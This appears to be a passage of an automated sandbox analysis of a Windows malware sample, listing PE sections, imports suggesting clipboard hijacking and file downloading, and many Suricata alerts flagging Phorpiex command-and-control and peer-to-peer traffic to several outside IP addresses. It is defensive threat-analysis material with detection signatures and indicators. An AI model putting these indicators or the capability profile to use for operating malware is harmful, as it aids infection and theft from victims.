IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x12a94	0x104	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x10000	0x320	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xe8aa	0xea00	de57a23428cadf6f1aed6b6601be700a	False	0.4650106837606838	data	6.114014927367993	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x10000	0x3a62	0x3c00	a61ba0e131cbec528ddecb1edc07279e	False	0.4317708333333333	data	5.405015238701291	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x14000	0x47d8	0x3600	c04ca37b6d5b2a25385e3343eab0a917	False	0.21412037037037038	data	4.536418070021025	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
WS2_32.dll	gethostname, recvfrom, setsockopt, closesocket, htons, shutdown, WSAStartup, connect, WSAWaitForMultipleEvents, listen, WSASocketA, WSACreateEvent, WSAGetOverlappedResult, WSAEventSelect, WSAEnumNetworkEvents, WSAGetLastError, WSASend, WSARecv, WSACloseEvent, accept, getpeername, getsockname, inet_addr, gethostbyname, inet_ntoa, socket, bind, sendto, ioctlsocket, recv, send
SHLWAPI.dll	StrStrIA, StrCmpNW, StrStrW, PathFileExistsW, StrChrA, PathFindFileNameW, StrCmpNIA, PathMatchSpecW
urlmon.dll	URLDownloadToFileW
WININET.dll	HttpOpenRequestA, HttpSendRequestA, InternetConnectA, InternetCloseHandle, DeleteUrlCacheEntry, InternetReadFile, InternetOpenA, InternetCrackUrlA, HttpAddRequestHeadersA, HttpQueryInfoA, InternetOpenUrlA, DeleteUrlCacheEntryW, InternetOpenUrlW, InternetOpenW
ntdll.dll	strlen, isdigit, isalpha, memcpy, memset, NtQueryVirtualMemory, RtlUnwind, _chkstk, _aulldiv, wcslen, wcscmp, _allshl, _aullshr, strstr, strcmp, memmove, memcmp, RtlTimeToSecondsSince1980, NtQuerySystemTime, mbstowcs
msvcrt.dll	srand, rand, _vscprintf
KERNEL32.dll	GetQueuedCompletionStatus, PostQueuedCompletionStatus, GetSystemInfo, lstrcmpW, SetEvent, CreateProcessW, GetLocaleInfoA, DeleteCriticalSection, GetCurrentThread, GetThreadPriority, SetThreadPriority, GetCurrentProcess, DuplicateHandle, IsBadReadPtr, InterlockedExchangeAdd, InterlockedIncrement, WaitForSingleObject, InterlockedDecrement, InterlockedExchange, HeapFree, HeapValidate, HeapReAlloc, GetProcessHeaps, HeapCreate, HeapSetInformation, GetCurrentProcessId, HeapAlloc, CreateMutexA, GetLastError, ExitProcess, ExpandEnvironmentStringsW, CreateEventA, CreateThread, GetModuleFileNameW, GetVolumeInformationW, GetDiskFreeSpaceExW, SetFileAttributesW, DeleteFileW, CopyFileW, lstrcmpiW, CreateDirectoryW, FindFirstFileW, CreateIoCompletionPort, MoveFileExW, FindNextFileW, FindClose, RemoveDirectoryW, GetLogicalDrives, GetDriveTypeW, QueryDosDeviceW, lstrcpyW, WriteFile, FlushFileBuffers, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSection, CreateFileW, CreateFileMappingW, MapViewOfFile, GlobalUnlock, GlobalLock, GlobalAlloc, lstrlenA, lstrlenW, lstrcpynW, MultiByteToWideChar, ExitThread, GetTickCount, Sleep, GetModuleHandleW, CloseHandle, UnmapViewOfFile, GetFileSize
USER32.dll	RegisterClassExW, CreateWindowExW, GetMessageA, TranslateMessage, wsprintfW, DefWindowProcA, ChangeClipboardChain, RegisterRawInputDevices, GetClipboardData, DispatchMessageA, EmptyClipboard, SetClipboardData, CloseClipboard, IsClipboardFormatAvailable, SendMessageA, SetWindowLongW, SetClipboardViewer, GetWindowLongW, wsprintfA, wvsprintfA, OpenClipboard
ADVAPI32.dll	CryptReleaseContext, RegQueryValueExW, RegOpenKeyExW, RegOpenKeyExA, RegCreateKeyExW, CryptAcquireContextW, CryptGenRandom, RegCloseKey, RegSetValueExW, RegSetValueExA
SHELL32.dll	ShellExecuteW
ole32.dll	CoInitializeEx, CoUninitialize, CoInitialize, CoCreateInstance
OLEAUT32.dll	SysFreeString, SysAllocString

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-17T23:09:15.563777+0200	2837677	ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature)	1	185.215.113.66	80	192.168.2.4	49793	TCP
2024-09-17T23:09:16.259431+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	185.215.113.66	80	TCP
2024-09-17T23:09:16.259431+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49730	185.215.113.66	80	TCP
2024-09-17T23:09:17.984779+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49732	185.215.113.66	80	TCP
2024-09-17T23:09:17.984779+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49732	185.215.113.66	80	TCP
2024-09-17T23:09:18.095591+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	84.54.122.14	40500	UDP
2024-09-17T23:09:23.161855+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	178.151.4.209	40500	UDP
2024-09-17T23:09:23.386341+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:23.386341+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:25.665035+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:25.665035+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:27.916077+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:27.916077+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:30.163885+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:30.163885+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:32.414765+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:32.414765+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:33.235648+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	2.189.25.176	40500	UDP
2024-09-17T23:09:37.130578+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49738	77.91.77.92	80	TCP
2024-09-17T23:09:37.130578+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49738	77.91.77.92	80	TCP
2024-09-17T23:09:38.241849+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	86.102.56.226	40500	UDP
2024-09-17T23:09:40.900663+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49741	77.91.77.92	80	TCP
2024-09-17T23:09:40.900663+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49741	77.91.77.92	80	TCP
2024-09-17T23:09:43.241812+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	2.190.124.23	40500	UDP
2024-09-17T23:09:44.587314+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49743	77.91.77.92	80	TCP
2024-09-17T23:09:44.587314+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49743	77.91.77.92	80	TCP
2024-09-17T23:09:48.275269+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49744	77.91.77.92	80	TCP
2024-09-17T23:09:48.275269+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49744	77.91.77.92	80	TCP
2024-09-17T23:09:52.012408+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49745	77.91.77.92	80	TCP
2024-09-17T23:09:52.012408+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49745	77.91.77.92	80	TCP
2024-09-17T23:09:55.742140+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49746	77.91.77.92	80	TCP
2024-09-17T23:09:55.742140+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49746	77.91.77.92	80	TCP
2024-09-17T23:09:58.255064+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	105.106.52.97	40500	UDP
2024-09-17T23:09:59.523347+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49748	91.202.233.141	80	TCP
2024-09-17T23:09:59.523347+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49748	91.202.233.141	80	TCP
2024-09-17T23:10:01.236543+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49749	91.202.233.141	80	TCP
2024-09-17T23:10:01.236543+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49749	91.202.233.141	80	TCP
2024-09-17T23:10:03.308803+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	217.30.170.10	40500	UDP
2024-09-17T23:10:07.663501+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49749	91.202.233.141	80	TCP
2024-09-17T23:10:07.663501+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49749	91.202.233.141	80	TCP
2024-09-17T23:10:08.302854+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	217.30.162.37	40500	UDP
2024-09-17T23:10:10.219426+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49751	91.202.233.141	80	TCP
2024-09-17T23:10:10.219426+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49751	91.202.233.141	80	TCP
2024-09-17T23:10:13.319220+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	81.195.238.130	40500	UDP
2024-09-17T23:10:16.643936+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49752	91.202.233.141	80	TCP
2024-09-17T23:10:16.846309+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49751	91.202.233.141	80	TCP
2024-09-17T23:10:16.846309+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49751	91.202.233.141	80	TCP
2024-09-17T23:10:19.905577+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49751	91.202.233.141	80	TCP
2024-09-17T23:10:19.905577+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49751	91.202.233.141	80	TCP
2024-09-17T23:10:22.671072+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49754	91.202.233.141	80	TCP
2024-09-17T23:10:22.671072+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49754	91.202.233.141	80	TCP
2024-09-17T23:10:23.335541+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	46.100.121.146	40500	UDP
2024-09-17T23:10:25.439810+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49756	91.202.233.141	80	TCP
2024-09-17T23:10:25.439810+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49756	91.202.233.141	80	TCP
2024-09-17T23:10:28.348342+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	37.255.23.100	40500	UDP
2024-09-17T23:10:29.317891+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49758	185.215.113.66	80	TCP
2024-09-17T23:10:29.317891+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49758	185.215.113.66	80	TCP
2024-09-17T23:10:31.032415+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49759	185.215.113.66	80	TCP
2024-09-17T23:10:31.032415+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49759	185.215.113.66	80	TCP
2024-09-17T23:10:37.676890+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49762	185.215.113.66	80	TCP
2024-09-17T23:10:37.676890+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49762	185.215.113.66	80	TCP
2024-09-17T23:10:38.364094+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	178.253.109.195	40500	UDP
2024-09-17T23:10:40.456563+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49764	185.215.113.66	80	TCP
2024-09-17T23:10:40.456563+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49764	185.215.113.66	80	TCP
2024-09-17T23:10:43.194117+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49766	185.215.113.66	80	TCP
2024-09-17T23:10:43.194117+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49766	185.215.113.66	80	TCP
2024-09-17T23:10:43.380318+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	5.236.253.124	40500	UDP
2024-09-17T23:10:46.044400+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49767	185.215.113.66	80	TCP
2024-09-17T23:10:46.044400+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49767	185.215.113.66	80	TCP
2024-09-17T23:10:48.397244+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	213.230.127.213	40500	UDP
2024-09-17T23:10:48.784910+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49769	185.215.113.66	80	TCP
2024-09-17T23:10:48.784910+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49769	185.215.113.66	80	TCP
2024-09-17T23:10:53.491643+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49770	77.91.77.92	80	TCP
2024-09-17T23:10:53.491643+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49770	77.91.77.92	80	TCP
2024-09-17T23:10:57.334445+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49772	77.91.77.92	80	TCP
2024-09-17T23:10:57.334445+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49772	77.91.77.92	80	TCP
2024-09-17T23:10:58.514941+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	89.43.145.18	40500	UDP
2024-09-17T23:11:01.041077+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49774	77.91.77.92	80	TCP
2024-09-17T23:11:01.041077+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49774	77.91.77.92	80	TCP
2024-09-17T23:11:03.520358+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	79.165.23.131	40500	UDP
2024-09-17T23:11:04.737217+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49776	77.91.77.92	80	TCP
2024-09-17T23:11:04.737217+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49776	77.91.77.92	80	TCP
2024-09-17T23:11:08.444057+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49777	77.91.77.92	80	TCP
2024-09-17T23:11:08.444057+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49777	77.91.77.92	80	TCP
2024-09-17T23:11:12.115917+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49779	77.91.77.92	80	TCP
2024-09-17T23:11:12.115917+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49779	77.91.77.92	80	TCP
2024-09-17T23:11:13.541304+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	151.240.79.133	40500	UDP
2024-09-17T23:11:16.142994+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49781	91.202.233.141	80	TCP
2024-09-17T23:11:16.142994+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49781	91.202.233.141	80	TCP
2024-09-17T23:11:17.859805+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49782	91.202.233.141	80	TCP
2024-09-17T23:11:17.859805+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49782	91.202.233.141	80	TCP
2024-09-17T23:11:23.570592+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	178.88.111.20	40500	UDP
2024-09-17T23:11:24.665171+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49785	91.202.233.141	80	TCP
2024-09-17T23:11:24.665171+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49785	91.202.233.141	80	TCP
2024-09-17T23:11:27.404856+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49786	91.202.233.141	80	TCP
2024-09-17T23:11:27.404856+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49786	91.202.233.141	80	TCP
2024-09-17T23:11:30.236762+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49788	91.202.233.141	80	TCP
2024-09-17T23:11:30.236762+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49788	91.202.233.141	80	TCP
2024-09-17T23:11:33.050771+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49789	91.202.233.141	80	TCP
2024-09-17T23:11:33.050771+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49789	91.202.233.141	80	TCP
2024-09-17T23:11:35.900980+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49791	91.202.233.141	80	TCP
2024-09-17T23:11:35.900980+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49791	91.202.233.141	80	TCP
2024-09-17T23:11:39.986361+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49793	185.215.113.66	80	TCP
2024-09-17T23:11:39.986361+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49793	185.215.113.66	80	TCP
2024-09-17T23:11:41.832654+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49794	185.215.113.66	80	TCP
2024-09-17T23:11:41.832654+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49794	185.215.113.66	80	TCP
2024-09-17T23:11:43.982652+0200	2837677	ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature)	1	185.215.113.66	80	192.168.2.4	49794	TCP
2024-09-17T23:11:46.807316+0200	2837677	ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature)	1	185.215.113.66	80	192.168.2.4	49796	TCP
2024-09-17T23:11:47.503983+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49797	185.215.113.66	80	TCP
2024-09-17T23:11:47.503983+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49797	185.215.113.66	80	TCP
2024-09-17T23:11:50.288976+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49799	185.215.113.66	80	TCP
2024-09-17T23:11:50.288976+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49799	185.215.113.66	80	TCP
2024-09-17T23:11:53.080321+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49800	185.215.113.66	80	TCP
2024-09-17T23:11:53.080321+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49800	185.215.113.66	80	TCP
2024-09-17T23:11:55.821523+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49802	185.215.113.66	80	TCP
2024-09-17T23:11:55.821523+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49802	185.215.113.66	80	TCP
2024-09-17T23:11:58.781922+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49803	185.215.113.66	80	TCP
2024-09-17T23:11:58.781922+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49803	185.215.113.66	80	TCP
2024-09-17T23:12:03.475094+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49805	77.91.77.92	80	TCP
2024-09-17T23:12:03.475094+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49805	77.91.77.92	80	TCP
2024-09-17T23:12:07.188452+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49807	77.91.77.92	80	TCP
2024-09-17T23:12:07.188452+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49807	77.91.77.92	80	TCP
2024-09-17T23:12:10.900881+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49809	77.91.77.92	80	TCP
2024-09-17T23:12:10.900881+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49809	77.91.77.92	80	TCP
2024-09-17T23:12:14.779580+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49810	77.91.77.92	80	TCP
2024-09-17T23:12:14.779580+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49810	77.91.77.92	80	TCP
2024-09-17T23:12:18.495368+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49812	77.91.77.92	80	TCP
2024-09-17T23:12:18.495368+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49812	77.91.77.92	80	TCP
2024-09-17T23:12:18.707808+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	2.185.144.157	40500	UDP
2024-09-17T23:12:22.405916+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49814	77.91.77.92	80	TCP
2024-09-17T23:12:22.405916+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49814	77.91.77.92	80	TCP
2024-09-17T23:12:23.724097+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	78.39.225.27	40500	UDP
2024-09-17T23:12:26.510035+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49816	91.202.233.141	80	TCP
2024-09-17T23:12:26.510035+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49816	91.202.233.141	80	TCP
2024-09-17T23:12:28.739574+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	37.228.65.185	40500	UDP
2024-09-17T23:12:28.823664+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49817	91.202.233.141	80	TCP
2024-09-17T23:12:28.823664+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49817	91.202.233.141	80	TCP
2024-09-17T23:12:35.986822+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49820	91.202.233.141	80	TCP
2024-09-17T23:12:35.986822+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49820	91.202.233.141	80	TCP
2024-09-17T23:12:38.729098+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49821	91.202.233.141	80	TCP
2024-09-17T23:12:38.729098+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49821	91.202.233.141	80	TCP
2024-09-17T23:12:38.848779+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	149.54.47.90	40500	UDP
2024-09-17T23:12:41.467262+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49823	91.202.233.141	80	TCP
2024-09-17T23:12:41.467262+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49823	91.202.233.141	80	TCP
2024-09-17T23:12:44.777939+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49825	91.202.233.141	80	TCP
2024-09-17T23:12:44.777939+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49825	91.202.233.141	80	TCP
2024-09-17T23:12:47.533845+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49826	91.202.233.141	80	TCP
2024-09-17T23:12:47.533845+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49826	91.202.233.141	80	TCP
2024-09-17T23:12:51.407501+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49828	185.215.113.66	80	TCP
2024-09-17T23:12:51.407501+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49828	185.215.113.66	80	TCP
2024-09-17T23:12:53.879963+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	188.215.175.89	40500	UDP
2024-09-17T23:12:54.150335+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49829	185.215.113.66	80	TCP
2024-09-17T23:12:54.150335+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49829	185.215.113.66	80	TCP
2024-09-17T23:12:56.871465+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49831	185.215.113.66	80	TCP
